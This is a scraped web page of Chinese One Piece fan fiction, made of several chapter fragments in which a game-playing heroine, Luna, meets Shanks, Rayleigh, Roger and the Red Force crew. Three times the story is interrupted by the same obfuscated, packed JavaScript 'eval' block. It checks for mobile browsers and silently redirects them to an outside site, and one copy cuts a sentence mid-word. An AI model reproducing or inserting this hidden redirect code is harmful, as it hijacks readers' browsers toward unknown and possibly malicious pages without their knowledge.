;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834995|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴着手指的磨蹭逐渐成了亲吻,又在亲昵间慢慢地啃咬起来,尖利的犬齿顾及女人娇嫩的软肉只落下满指齿痕。 “好脏呀。” 她就那么笑着捧起他的脸,亲他的眼睛和疤痕,热情地,热切地,将他埋进她的胸口,一下又一下用手指撩拨他的头发,就像是他小时候。露娜热爱扮演一位年轻的小妈妈站在副船长的身边这样对他,好像她真是他的母亲了。 “我会想你的,香克斯。” 她真的要离开,她不要他了。 6. 海贼船上的人鱼1 进入游戏的契机是想要体验风花雪月。 然而却没注意到游戏的世界背景难度是满星。 推荐你游玩的闺闺荡漾一笑随手送上游戏论坛的加精mod帖子。 【霸王缠身】【无限血条】【同时多开】【母性光辉】【黄金律】【黑化增幅】等等五花八门、眼花撩撩的mod。你思来想去选了【一见钟情】,也就代表你放弃了高战斗力。 将身份栏和投放时间都点好【随机】,你便闭眼进入了游戏。 名为露娜的人鱼悄然落入海域之中。 1. 你进入游戏。 银月高悬,借着透亮的月光你在水里熟悉新的身体。银白色的鳞片同海面熠熠生辉折着星子似的光辉很是好看。人鱼的身体在水中游得很快,吐泡泡的小鱼儿们交流你觉得新奇,跟着这群小鱼游了一段。 你猜这群小鱼可能是游戏的引导npc,它们带你游到一艘巨大的船下。船头处有两尾金色的人鱼雕饰,你抱着某种天真的想法,也许船上的人并不抵触人鱼,可要你跳上去也太难了,而且这是艘海贼船。 你正思忖着呢,一头毛茸茸的红发闯入你的视野。是个小男孩,他看到你,原本就不小的眼睛瞪得大,月光将他惊讶又好奇的表情照得清楚。你有些惊诧,他头顶有好感度条,这是可攻略npc才会有的。但他只是个男孩,即使是你也不会因为是游戏里就对那么小的孩子出手,至少要过个十年吧。 你朝他笑。你看到男孩奶白色的脸飘上薄红,他捂嘴消失在小窗前,从小窗里传出一阵乒乒乓乓家具碰撞的声音。你等了好一会儿,才又看见那颗红色的小脑袋从窗子口升起来,男孩明目张胆地打量起你来,有些紧张地但也冲你扬起大大的笑脸。 “你好!你好!我是香克斯!你是落难了吗?要不要上来?我可以把你捞上来!你等我呀!” 他挥舞着手眼看着就要提腿跳入海中,你冲他摇摇头,身子往后一漂,银白色的尾巴破水而出在空中打了个转,晶莹的水花儿自半透明色的尾鳍溅落,荡开一圈圈涟漪,而你就在涟漪中望着香克斯。 “啊!你是人鱼!”他笑得更灿烂了些,“你真漂亮啊!你是人鱼!你是从鱼人岛来的吗?你怎么会在这里呢?这片海的海贼很多,你会遇上坏人的!” 香克斯探头探脑的模样让你想到了爱扑腾人的小狗,他真诚坦率的样子可爱。你的目光落在男孩的头上,好感度全满,你感叹【一见钟情】不容小觑,即使是小男孩,可只要是可攻略对象就不会被放过呢。 你在水里听着男孩絮絮叨叨,他的大眼睛一瞬不眨地盯着你,好像你下一秒就会和其他小鱼一样扑通落回海里去。 你只用点头、摇头、歪头来回应香克斯,你的语言功能没有加载完毕,只能听懂npc的话自己却说不了,热情的小男孩没有被你的沉默浇灭一丝一毫活力,他和你分享他的冒险故事肢体语言丰富、声情并茂,是一个非常会讲故事的男孩。直到一声“吱呀”,有什么人进了房间,你注意到男孩儿的表情紧张起来,你没多想退回了海里。 深海隔绝海面之上一切声响。你窝在海底柔软的藻堆里,让进度条自行加载,退出了游戏。 再登号,还是夜晚,只是时间显示游戏已经过了三天。 你破水而出,依旧是那片映着月光波光粼粼的海。 那艘巨大的有着人鱼雕饰的红船也还停留在原地。 要去找红头发的小男孩吗?不了吧。 虽然小孩有趣又可爱但是你又不是为了和孩子玩耍才玩游戏的。 你找了块礁石,距离那艘全都是可攻略npc的船隔了一整座岛,但你确信总有npc会找到你,你可是玩家。当然你也不是要这样傻傻干等。你攀上凹凸的礁石,这个角度很好,从岛岸上看你,银色人鱼的鱼尾半湿鳞片上落晶莹剔透闪闪发光的水珠,黑色浓稠的长发也半湿,勾在圆润的肩头,美人的身体被月光照拂如焕发光芒的玉脂,又软又腻,饱满的胸脯、纤纤细腰只罩着层朦胧薄纱,明明那样薄却又看不真切胴体只能任人的眼细细描摹。 你满意地看着CG页展示的月下人鱼,不会有攻略角色不为这样一只美丽的人鱼小姐心动的,更何况你还开了作弊外挂。 游戏为你的人鱼皮套提供了【天籁之声】【落泪凝珠】之类的天赋,更过分地甚至有【化为泡沫】。注释栏内容是【向往自由的人鱼拥有不灭的灵魂,□□无法束缚你,他人也无法束缚你,成为泡沫吧,自由地拥抱诞生你的大海】。 你从论坛了解到这看似文艺高大上的注释白话翻译是逃跑用技能,意外地非常实用。 银色的人鱼在月亮下歌唱。 唱不知名的歌,美丽又飘渺的歌,如梦似幻。 2. 经历与海军的搏斗后,奥罗·杰克逊号停靠这座小岛做为期五天的补给休憩,时间线长因为正巧岛上祭典,热□□会的船长带着臭味相投的船员们闹着要参上一脚,而这座岛的人也怪居然不惧怕海贼,可能是因为替他们赶跑了前一艘到这儿来抢掠的海贼船,也可能是因为这座小岛上流传着的人鱼恋歌的传说——讲述一条人鱼与海贼之间的爱情故事。 为期三天的祭典每晚搭台将“人鱼恋歌”演绎一遍,孩子心性的船长为凄美的爱情故事潸然泪下把酒当流掉的眼泪灌进肚皮,来来回回,不仅自己灌,船员也一个不放过,每每收场都是烂醉到天亮,只有理智尚存的船副一个人收拾这群烂摊子。 祭奠的最后一夜,看着又是将酒当作水一样灌的罗杰,雷利头疼在酒后咋舌。罗杰这两天没少说他,说他理智的时候过于理智、精明的时候又过于精明,如果不是靠上来的年轻小姐唤醒他的轻佻那他伫在台子下对爱情故事不闻不问的真是冷酷无情。 雷利不可置否。他知道故事情节浪漫不然也不会引得那么多姑娘眼神扑朔,他只道这故事异想天开。先不说人鱼岛距这儿一眼望不到头,故事里美丽的人鱼姬居然对烧杀抢掠的海贼就一见倾了心,即使海贼无恶不作也非他不可,甚至最后爱情的力量还感化了凶恶的海贼在恋人恳切的期盼下放下了屠刀。 只稍动动脑子就能明白与现实相去甚远,传说故事到头来只是故事。但海岛上娇俏的少女们都因此自顾自对英俊热血的海贼有了层浮华滤镜,雷利不介意借浪漫传说的风吃姑娘们嘴巴上的蜜,这不真切的传说给雷利带来的好处大概就止步于此。其他船员就不好说了,倒是没想到他们的实习小不点儿们也对岛上的传说故事情有独钟。 雷利前脚打发走巴基,后脚就对上了香克斯兴奋的眼睛。和巴基比起来,香克斯属于“难搞的孩子”那一类型。 雷利对聪明小孩有好眼色全拜同船帮衬。 “雷利先生,鱼人岛的人鱼可以游来这里吗?” “不可能,路途险峻,哪怕是鱼人也不可能形单影只抵达这里。” “人鱼其实和人是一样的吧?就像桑贝尔先生和我们一样。” “去问桑贝尔吧,香克斯,他是正儿八经的专家,我们在他面前都是假把式。” “这样啊……” “香克斯,”雷利指尖捏软最后一点儿雪茄,“我们还要走很远。” 香克斯似乎已经得到了令他满意的答案,小男孩没多说什么笑着就走了,回头又带了句罗杰的话,雷利觉得他们船上的小孩都怪得很,但都是好孩子。 祭典最后一晚,台子上演的果然还是“人鱼恋歌”。但多半是最后一天的缘故,岛民的扮相都精致了不少。 “真是太不够意思了!都要结束了才露真家伙啊!” “原来最后一天才是真的恋歌啊。” “那是真的、真的宝石啊!我就知道!那些串珍珠也太大了!我就知道!这岛上一定有宝藏!” “哈哈哈哈哈巴基,最好的宝藏还是要自己去找啊!” “实习生就安静看表演!” “来来来,酒酒酒!” 雷利离得远,喝手里的酒,自家船长毫无顾忌地和人用酒桶碰杯,他已经看到明早这些醉鬼不忍直视的惨样了。雷利笑,余光扫过香克斯,带草帽的小子今天也还是一个劲盯着海面瞧,真要给他盯出花儿来了。 台子上“人鱼恋歌”进行到高潮,人鱼姬终于如愿与相爱的海贼拥吻。台下掌声擂动,更有甚者甩起了身上的衣物,祭典即将谢幕,确实激动人心,雷利眼睁睁看着双颊通红的罗杰一个转身欢呼把身上的衣服甩了出去同时还有一道异常熟悉的银光也跟了出去。 这傻子把自己的“艾斯”甩出去了! “啊哈哈哈哈哈哈太激动了啊哈哈哈!雷利走!我们去找我的剑吧!”光着膀子的船长笑哈哈跑起来带动了身边一圈无处发泄的笨蛋们。 “最后一个找到‘艾斯’的是低等海贼!” “喂喂这个时候应该是谁第一个找到才能得到奖赏吧!” “第一个找到‘艾斯’的是低等海贼!” “怎么说第一个也应该是高等海贼吧!” “什么底等高等!要我说是无敌海贼!” “酷啊!那我就是无敌海贼!” 好了,这群家伙带着酒闹哄哄冲到林子里去了,这林子要不得了。雷利沉吟,抬脚朝人群的反方向走。 “香克斯,你不一起去找‘艾斯’吗,巴基已经跑走了哦?”他不忘拉一把看海的香克斯,男孩好像根本没在意刚刚发生了什么,反映了好一会儿才睁大眼往那扬起便久久不散的尘埃望过去。 “我、我刚刚在找人,雷利先生!” “找人?”揶揄的眼落在香克斯身上,“找喜欢的女孩了,还是女人?” 年长且阅历丰富的大人看男孩儿红得和自个儿头发一样的耳朵就知道这小鬼开始吃情爱的苦头了。早熟啊,真早熟。雷利拍香克斯的草帽用力揉了几下小鬼头支吾的脑袋,挥挥手要走了就又被香克斯叫住,他慢悠悠地转头。 “雷利先生其实我,不知道这种心情是什么。我不知道这个是不是喜欢,就是想……我就是想再见她一面。” 笑得和小狗似的,这小子铁定是完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834996|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那你再去找找呗,我们明天才走,就算没有你罗杰也会找到‘艾斯’的,那可是他的宝贝。” “去吧,时间可是过的很快的,少年。” 目送男孩跑向沙滩,雷利顺手给自己点了根烟,白烟在泛冷的海风中具象化又在高升时散去。 “真青涩……”感叹间,雷利捏捏冲他撞来的女人们的软肉,亲昵地吐气让烟雾擦过她们娇俏的面庞,惹得女人们娇嗔、咯咯得笑。 “雷利大人,你们的实习生是看上哪位小姑娘了呀?真可爱。” “这是小孩的隐私吧,我也不知道。” “他总是看着海呢,说不定是遇到人鱼了!” “哎,那不是传说吗。” 女人们拍雷利不老实的手,名叫娜多的年轻少女用红指甲戳雷利,一本正经地看起来好严肃。 “我们可是都相信人鱼姬是存在的哦!不然也不会那么善待各位海贼大人的!” “你们就是太善待我们了,所以才总是被海贼劫持吧?” 雷利反问,给娜多说得呆愣愣,少女反应过来才生气地敲打男人的手。 “啊啊,真是的!真是的!雷利大人都没见过就说没有!” “就是呀,就是呀。” 女人们帮衬,同娜多一块谴责他。 “好嘛,好嘛,那就是有啦,但是我的小人鱼们都在这儿不是吗?” “雷利大人的嘴太甜了啦!” 娜多的指尖被吻得发红,她红彤彤的脸就足够说明雷利的魅力,即使这个花心海贼另外两只手抱着她的两个姐妹。 “雷利大人又在哄人。” “嗯、嗯,那我要怎样呢?” “那就大人就去人鱼礁那儿吧!传说人鱼姬就是在那儿碰到英俊的海贼的!等雷利大人看到了人鱼就知道人鱼是存在的了!” 雷利当然知道人鱼是存在的,他们自己就有鱼人船员,之前也在香波地群岛路过了水下王国。他就噙着笑看女人们闹他,时不时嘬上一口小酒。 “之前也有人试过呢!” “看来有很多人尝试啊。” “因为传说里的人鱼美轮美奂,村子里的男人们都去试过!但是没有一个人成功哦!” 娜多笑起来,雷利看到少女眼里的幸灾乐祸,她就是故意要他去那儿扑个空的。 他好像是被女人们找乐子了。 哎,怎么会这样?但是也不生气,毕竟是年轻的女孩子们嘛。 “那块人鱼礁在哪儿呢,小多娜?” 雷利顺着女人们的指路走,离开前顺了瓶酒,岛上的酒水不算多美味,聊胜于无。 空了。雷利摇晃空荡的酒瓶,到底没扔掉,留着等到回去时还能从祭奠的酒桶中再接上一整瓶。 树丛剐蹭着没有遮掩的肌肤,愈是靠近那块传说中的礁石树木便越昌盛,大概嫌少有人会无趣到来这儿吧,没有一条完整的通路。雷利不由得发出轻笑,继续前行,不知怎得,耳边飘来歌声。他的五感比一般人来得强大,加上后天见闻色,确实是听到了,歌声,格外撼人的歌声。 难以用言语形容,心中早已涌起波澜。 雷利最快发现自己的异样,脚步在不自觉加快,那萦绕在耳边的声音果真愈发清晰—— 当男人从树影后窥见那一望无际海上的礁石和月下歌唱的人鱼时,世间的一切都静止了,唯有那一尾银色拍打海面卷起水滴状细小的浪花倒映出世间万物。 那是一小滴,极细小的水珠儿,里头同时倒映着雷利、倒映着歌唱的人鱼、倒映着月光缱绻波荡的海面。明明只是一滴霎那融进大海的水滴却深深印刻在了男人的眼中,成为了他永恒的记忆、连带着那歌唱的人鱼,那转动着迷人的蓝眼睛使他的心脏几乎停止又几乎炸裂而亡的人鱼。 她发现他了,一位不速之客。 歌唱的人鱼如同一场美梦落入海水中烟消云散,游动着银色的鱼尾巴要融进深不见底的深海。倏尔一只手臂环住了人鱼的腰肢,美丽的生物挣扎着似乎恐慌着被男人炙热的温度烫化在海水中。视线不断上升,身体受着无数逃走的海水被带出海面。 “你怎么就要跑呢?” 漂亮的人鱼小姐迷茫,对上浅笑的男人,他热乎的手掌把着她俏丽的脸蛋,带茧子的拇指揩去她眼睫湿漉漉的水珠儿,明明没有多用力却蹭红了人鱼白嫩的小脸。 “啊,抱歉抱歉,我不该那么粗鲁的。” 说着这样的话但雷利做的却是最粗鲁的事,他将游回大海的人鱼硬生生捞了起来,强行将她抱上了岸。只一眨眼的功夫,原本还在海中的一人一鱼便离开了海水。呆愣愣的小人鱼下意识伸出双臂环住人的模样过于惹人喜爱,她这么一抱上来,那么主动,雷利更不想放手了,即使在十几分钟前,他还依旧在嘲笑这座岛屿的传说。 莫名其妙地,被怀里的小人鱼映入眼帘,他好像也就不那么难理解为什么故事里的海贼偏偏就对一只人鱼软了心磨了角。 真的是……非常讨人喜爱啊。 7. 贵女4 本乡是资质极高的医生、优秀的战斗员。在莱姆琼斯加入之前他大概就是这艘船上最年轻了干部了,放现在他的年纪也不过二十出头,对新鲜事物的热切期盼于这具年轻鲜活的身体不加掩饰。 本乡时而炙热时而平静的目光烦人。 “小姐,你在觉得我烦人了吧。” 人家都这么问了你也不掩饰,点头翻阅图书。就像那晚船医搭着靠椅下巴搭着手背看着你,和贝克曼探究的目光比起来,本乡的目光更温润也更黏人,他不带什么踌躇就说想要一点儿你的血液,这个船上应该是没有器材的,你不知道他要你的血做什么,你拒绝了他。 医务室同船副的办公室一样堆了不少书籍,大多是药理、病理类,杂书无非是游记、小说。你拿小说打发时间,对清一色的桃色恋爱故事不挑,只是在船医向你推荐时微微挑眉,看不出来本乡医生喜欢这些,作为船上的少数知识分子船医的脸皮不薄,皮笑肉不笑埋头于工作。 你吃下本乡制作的药物。他说你也不担心这是毒药,你告诉他你觉得他们应该不是那种不守诚信的低等海贼,听了这话的船医笑得直拍桌,他觉得好玩还去甲板上饶了一圈你在屋子里听到了更为响亮的笑声,耳朵麻麻的。 本乡手头的药物并不多,按照航行路线途中经过岛屿情况会有所缓解。本乡为你腾了个新本子记录你的用药情况,告诉你接下来会出现嗜睡、疲惫、精神松弛之类的状况。 “如果我正走路的时候突然晕过去了呢?” “这种情况我没想过,”年轻的船医先生点点下巴,也没苦思冥想,格外轻松,“那小姐就放心倒下来吧!我们船上的人实力可都是很强的!” 充满了自信朝气蓬勃呢,这艘船上的人都这样。 本乡应付完你也开始看书,靠在靠椅上,医生可是完全无视人体工学地坐着,读他厚实的砖头本,时不时笔记,俨然一副高知做派。如果不是你看得懂严肃正经的医学标题,联系你手里老得掉渣的狗血言情作,你会觉得本乡厚实的砖头本说不定是什么纯情医生火辣辣的老土小说。 贝克曼照例询问你脑袋的事情,你如实告诉他,药效副作用对你的影响暂时没有体现,你知道他肯定在船医那儿听了遍同样的话。 几天相处下来,贝克曼默认你翻阅他的藏书。男人批阅文件的空档会分你点眼神,落在你手指搭着的书皮,挑眉,和你当时看到书的样子差不多。你说这是本乡医生的,贝克曼轻啊一声,说船医的兴趣一直没变过,要你不要欺负他们想不到会有多么多愁伤感、内心柔软的船医,尽量配合就是。你觉得他是故意的,因为他说话的时候隔着一个门板传来不少重物哐哐坠地的声响,仔细听还有可以被压抑的暗哑的声音。 “刚洗了的甲板太滑了吧。”他吐烟圈。 你不能总拿船长的衬衣穿,所以收了钱的船副公然薅走了船长干净的衬衣,要会针线的船员帮帮你。 你做针线活?你?本乡拽着你泉眼样冒血的手指看啊看的,直到你面色发白才止住他不必要的好奇心,你看到他确实收了你一管血。你看他,没有表情的,他无辜地眨眼帮你清理伤口涂抹膏药,说贵小姐真娇弱啊。 你不喜欢船医。 你和嘎布大眼瞪小眼。高大面凶的男人捏小小的针头穿线引线手中动作又快又缓,布料在你延展的四肢上对比,他不用贴着你,保持距离,犹如野兽的相貌却做着细腻的事。由船长的衬衣改成的小白裙子新鲜出炉,他递给你时挠脑袋,说第一次做女人的衣服要你试试可以给你改改。 也不是把你当作换衣娃娃。你换好后微微提裙摆对他道谢,两抹飞红爬上他的脸。你头一次生出海贼还挺可爱的这种想法,极少数个例。 红头发的船长也新奇,围着你转了两圈,拉拉没被修饰的袖管确定真的是他的衣裳撒腿就跑去找其他人玩了,和放养的大狗一样。 你摸湿漉漉的袖口,指头上都是酒味。 天晴的缘故,太阳大的关系吧,雷德弗斯号的晾衣日。不想和其他人的衣服混在一块洗,你在船医室搓洗干净衣服,用本乡做的肥皂,滑腻腻的皂角上是不认识的花草,大概是药草边角料,淡淡的药香和花香混在一块,船医的小手工做得很漂亮,熟能生巧的痕迹留在一小柜香皂上。本乡说你喜欢的话可以随便拿,船上的人对花花草草不感冒只知道囫囵吞枣吃药,本乡呲牙模仿了一段。 你拉晾衣绳,在大片黑灰色的衣服后晒气一片白帆。白净宽大的衬衣透湿润的水汽被风吹得鼓起来,你垫着脚,绳子拉太高了,晾完一片衣服胸前也被水渍打了个湿。 太阳高照的甲板上没有闲人,你抱膝坐在一张小凳上没回副船长的办公室,很少见。太阳晒白色的衣服,亮晶晶的,把衣服照得透蓝、透金、透白,很漂亮,太阳晒在雪色的肌肤上,一片金色照耀白雪上,也很漂亮。纤细的睫眼半眯落出一点点深邃的海蓝色,动人,眼睑上落着的蓝好像游动着的阳光斑驳的水纹,腼腆、静谧,抿着唇瓣,头发也被照得乌亮亮,不自觉朝暖乎的光靠。 你看风景,有人却在上面看小猫。 太阳被游云遮住时,温暖也一块儿被遮住了,投下一点儿微凉,你抚抚胸前半干的衬衣,那儿被烘得暖触及时也软。 在一艘完全没有女性船员的船上,想要女性贴身衣物是非常非常困难的。船副先提的这件事,你倒不羞耻,他说会给你搞来的,首先要遇上一艘有女性的海贼船。方法是什么不言而喻。你没应声他就当你默认了,吞云吐雾后问你是不是抵触穿人家贴身的东西,答案很肯定,他说你金贵又娇气,你说他收下你的报偿至少该满足你。在小半只烟被火星烧尽后,贝克曼慢悠悠地嗯了一声。 你翻书页,指头正好落在贵小姐和情郎身无分文的惨状描写上。铅笔素描的插图里,小姐的束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834997|175633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰带破破烂烂,裙摆也灰黑一片,赤着白腻的肩落在心上人怀中啜泣,要去典当她的小金靴。 船医的品味真差。 游云飘过,阳光又落下,金色的温暖的雨水包裹身体感觉很舒服。 你摸为海风灌满的衬衣,船长穿得衣服确实不错,触感很好,被烘烤得暖呼呼,你抱着闻了一下,花儿、植物的味道被烤得香香的,风里带来咸咸的海水味,也暖呼呼的,是太阳的味道。 感受到某道视线,太肆无忌惮了。你抱着衬衣望过去,在一件一件扬起的白帆后深蓝色的人影逐渐清晰,褪去天空赋予他的色彩,没有黑色头巾包裹,整个人似乎刚从水里爬出来湿漉漉的铂金发滴水,水渍儿被照得闪光,一颗一颗亮亮的水珠从他的脑袋上落下来砸在地上。 不知道为什么一直盯着你瞧。 你说你好,他也不回话。你干脆不理他吧。沉默寡言地不说话一副凶巴巴的模样,不上前也不后退,反正等风停了,衣服会把他遮住,连带灼人的视线一块遮住。 只是很不走运,一阵强风刮过。 你抓不住怀里的衣服,晾衣绳上的衬衣翻飞,风给它们装上翅膀扑棱棱要飞走了,你下意识张开怀抱想要一把将它们抱住,可风是捉不住的,即使是捕风的人也要很小心才能不让它们从指缝里溜走。你确信你是抱住了什么。遮住你头顶的不再是白云,而是湿哒哒的头发,你抱住了莱姆琼斯,隔着雪白雪白的被浸湿而透明的衬衣。 他的体温很烫,明明刚从水里爬出来,你想。你对他小声说了谢谢。有声音从他的鼻子里哼出来,他比你挂的晾衣绳高多了,自然地俯视你,是他揽住了你的衣服,长长的手臂拦住了风,只是他的水滴全在了你身上。把你的眼睛打湿,海水蜇人,你的眼眶登时便红了,刺刺扎扎,你伸手摸过去,好像擦眼泪,不知道为什么身前年轻的干部的气息近了些,不是织物的触感而是粗糙有茧子的手指擦你的眼睛。 但是他的手上也全都是海水呀! “你把我弄痛了,不要再碰我了!”你不喜欢海水进眼睛,你睁开被咸水欺负的眼,刚刚暖和的太阳也欺负你,它对你脆弱的眼睛来说太刺眼,搞得更多眼泪从你发颤的睫毛下落出来。 你不喜欢这样的感觉,你又不是真的伤心在哭的,搞得你很可怜一样,你一点儿也不可怜呀。 你只听到一声又低又急促的“对不起”,怀里被塞了一团半湿半干的衣服,什么东西在啪嗒啪嗒跳。 缓了一会儿睁开眼睛。 一只通体蓝色的鱼啵啵呼着嘴,碧蓝碧蓝和大海一样的鳞片星星点点折光,一条精致漂亮的小海鱼。 可是它被裹在你的衣服上啊。 你的衬衣全白洗了。 上面的家伙看到小猫的脸纠成一团,笑了出来,就被你发现了。 你瞪了他一眼,就笑得更欢了。 幼稚鬼。 8. 【第四天灾】海上皇帝·大圣母(上) 食用预警:作者完全沉浸在自己的艺术里不知天地为何物。第四天灾为爽而爽玛丽苏,本质是票,有各种奇怪的bg、gb、gl和各种混邪元素的all,包括不限于伪字母play,年龄操作,熊开头的盖浇饭饭等等. 经不起推敲的口水文,时间线混乱,大量私设,不喜退出,谢谢配合。 灵感来源是magi里的大圣母。 00. 你是喜怒无常的玩家,总是喜欢以奇怪的方式通关游戏。 这次你找到了一部有趣的游戏,海贼、海军、革命军……各种势力与种族交织的游戏,支持各种多开结局,论坛各种吹捧体感一流、浸入式一绝,你觉得这些都不重要,你快速浏览论坛了解游戏角色。 你发现游戏中有两位海上皇帝,一位爱好收养各路子嗣归入麾下做大做强,一位直接靠生育为策略手段倾吞大海。你觉得很有趣,脑海中也描绘出一个有趣且恶劣的念头——【我要把他们的孩子都抢过来】 你于是抱着这种愉悦的念头建立了账号。 姓名:露娜 果实:无 霸气:霸王色、武装色、见闻色 隶属:海贼 亲和力:5 魅力:5 力:5 速:5 成长:10 (单独属性满点为10) 你想享受成长的快乐,但你又是最肆意妄为的那类玩家,你当然不会从零做起,作弊得把成长性能拉了个满。在论坛的mod中选择了【玛丽亚的光环】下载安装之后,你便进入了游戏。 01. 你出生在世界角落的某个村庄,被孤儿院接收,作为小镇上最漂亮的小女孩你常常收到大人们给的甜头。还未成长起来的同龄孩子们对你感到嫉妒,但你是个无论对谁都喜笑颜开的孩子,伸手不打笑脸人,即使是讨厌你的小孩也不敢当面说厌恶你这种话,而在同你接触时又会不自觉得为你所软化,孩子们是搞不懂为什么的,只觉得是喜欢你,但你知道这就是亲和力5和【玛丽亚的光环】的双重效果。 整个小镇都是你刷技力点的试验田。 8岁,你的亲和力达到了9。你成为了和迪O尼公主差不多的存在,鸟儿会停在你的指上歌唱,鱼儿会主动吻你落进水中的手指。 镇上的小孩被你驯服得差不多,大人们也到了即使你看到路过的狗踹一脚也会先来问问你委屈的程度。你觉得无聊了起来,于是你离开了这里,一路靠着高亲和力骗吃骗喝、打打山贼土匪,顺带刷技能点。 10岁,你撞上正偷船的希尔巴兹·雷利。 两两相看无言,雷利顶着可攻略的标识在你甜美的笑容中砍断码头的缰绳,扬帆起航,简陋的船只冲破海风同时穿透你当前无趣的游戏生涯。 力速双5的跳跃力令雷利瞳孔震缩。你按着小白裙像一颗小小蒲公英子降落他前,笑容不变,眼睛又圆又亮,软软的幼女周身充满令人舒适的气息。雷利是知道你的,你在小镇上也算是小有名气,他顺走过别人给你的礼物,可能这就是你对他的报应。 “让我来做你的妈妈吧。” 尚且年轻未来道路一眼望不到头的冥王瞳孔二次震缩。 你要不要看看你这个幼女在睁眼说什么糟糕的话? 你仗着高亲和力硬生生赖在了雷利船上。偷来的小船虽小但五脏俱全,衣食住行都能最低限度地解决。雷利的家被烧了之后他就不打算在小镇上呆了,随遇而安,雷利也了解到你是个三观异于常人的孤儿幼女。 到底哪里来的小孩会对年长几近自己年龄一轮的人说要做人家妈妈这种话?才没有吧,只有你三天两头就对他发出这种荒谬邀请。一开始雷利直接无视你,随着时间长了,他就开始了新战术——敷衍你。嗯,嗯,啊,啊,乖,别闹,信手捏来。 他对你的“做他的母亲”邀请的感兴趣程度还不及你钓的鱼多。你的海钓技术了得,是雷利让你留在船上的原因之一。 雷利海钓手气极差,五次能钓三个空瓶一只皮靴,唯一上钩的一次渔获还不及你巴掌大,让他海钓就像赌博,你觉得雷利今后的赌运也就这样了,你不推荐他进赌场。 你无情嘲笑他后次次钓上比他半身还大的大鱼。被孩子嘲笑的雷利沉默,在沉默中雷利跳了海,他不忘甩你一身衣服。幼稚且极具报复心的青年抱大鱼破水而出泼你一身海水,看着落汤鸡的你雷利笑得得意,他用潮湿的手揉你更加潮湿的头发,你给了他一拳,力5使雷利抱着肚子蜷缩在甲板上像只虾,被捞上来的大鱼拥抱大海,雷利的海钓战绩清零。 作为弄湿你唯一衣服的赔礼,雷利抓着你去买新衣服。你乖巧可爱又漂亮,店员们把你当作换装娃娃,只要稍微好看点的衣服都一股脑儿往你身上套。 和蔼可亲的大姐姐们和你说你哥哥真好会带你来买衣服,你说雷利不是你的哥哥,她们就改口说想不到有那么年轻的爸爸,你又说雷利不是你的爸爸,她们又想说什么时,你理领口的褶皱说你和雷利没有血缘关系,店员们看雷利的眼睛瞬间难看。 雷利要做解释时,你先他一步开了口,你说你是雷利的妈妈。这下好了所有人都沉默了。但你的亲和9和【玛丽亚的光环】总能起到意想不到的作用——店员们将这当作了你和“你的哥哥”雷利之间的过家家酒。眼里的人渣一下就被慈爱所替代,她们甚至想要加入这场完全不存在的过家家,称呼你为夫人把你递给了你的“儿子”。 “……”雷利呼吸,雷利闭眼,雷利呼吸,嘴角的笑僵硬但完全不变,沉默地抱起了身为“妈妈”的你,连声谢谢都没说,一手圈你的腰一手托你的屁股,提起购物袋。 雷利跑了。他原本就没打算付钱,你们两个加起来没有一个子儿,而现在惹恼他的你和店员们给他制造了落跑的新理由。 你站在船头拎裙摆转,像只自由的小蝴。雷利靠着喝酒,酒是偷来,衣服是顺走的,船上的锅碗瓢盆,除了他自己来得都不清不白。至于你?你是自己巴上来的。 他搞不懂你这个小女孩怎么一天到晚要做他的妈妈,他觉得他真该在哪个镇上就把你扔下,以你的手段不可能活不下去。你强硬地挤进他的生活让他硬生生顾了你几年,你才不是普通小姑娘。但你巴得紧,他一有动作要抛你下船你就仿佛预知未来似的,他根本甩不开你。 还没来得领悟见闻色的未来冥王直到不久的未来才知道自己一直被幼女强悍的见闻色戏耍。 雷利问你是不是天生喜欢给比自己大的人做妈。 你问雷利他下巴四道胡子是天生的还是自己装酷耍帅修的。 雷利不明所以。现在的雷利可还没有胡子,一张脸除了他深邃不羁的五官外白净得可以。你只是问了你在论坛上看到的关于雷利未来广为流传形象的问题罢了。 雷利想要把你当作妹妹,因为他怎么也不肯做你儿子。 但你还是时不时对他说初见时说的话——“雷利,让我来做你的妈妈吧”。雷利狠狠揉了几下你的脑袋,让你别再说胡话了。 只是他没有想到在初见罗杰时,你也对那个笨蛋说了一样的话。 “罗杰,让我来做你的妈妈吧。” 不会有笨蛋同意吧?雷利还是低估了对面自来熟的草帽家伙,这家伙就是一个笨蛋!直愣愣跳上他的船,抓起小女孩就是晃像在摇装满什么的小瓶,没有任何距离感地嗅女孩的脖子和脸蛋。未来的海贼王哥儿·D·罗杰眨巴大眼睛一脸纯天然:“你身上真的有妈妈的感觉哎。” 罗杰被雷利打了脑袋,罗杰和你一样赖在了雷利的船上。 不过他的赖比你的赖来得有底气,因为雷利接受了他的邀请。 